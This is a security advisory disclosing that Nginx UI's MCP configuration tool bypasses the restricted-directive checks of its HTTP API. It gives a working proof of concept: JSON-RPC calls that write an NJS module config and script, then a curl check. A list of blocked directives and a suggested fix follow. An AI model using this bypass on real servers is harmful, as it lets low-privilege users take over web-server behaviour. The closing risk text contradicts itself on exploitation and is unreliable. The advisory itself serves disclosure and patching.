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GHSA-5r62-gj48-897x
Summary
The regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
Affected component
/mcp/mcp_message- MCP tool:
nginx_config_add - Nginx configuration validation
Impact
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
Minimal PoC
Preconditions
- Attacker has a secondary authenticated Nginx UI account.
- MCP is enabled.
- Nginx has NJS available:
find / -name "ngx_http_js_module.so" 2>/dev/null
Observed in the lab:
/usr/lib/nginx/modules/ngx_http_js_module.so
1. HTTP API blocks the restricted config
Request:
POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/json
Body:
{
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
Observed result:
Rejected because the content contains restricted directives such as load_module/js_import/js_content.
2. MCP writes the JavaScript file
Open an MCP session and call tools/call with:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "poc.js",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
}
}
}
3. MCP writes the NJS-enabled nginx.conf
Call tools/call again:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
}
}
4. Verify NJS execution
Inside the Nginx UI container:
curl -i http://127.0.0.1:18249/__poc
Observed response:
HTTP/1.1 200 OK
MCP_NJS_MARKER
This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
Expected behavior
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
Suggested fix
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
load_modulejs_importjs_contentjs_setperl_setuser root
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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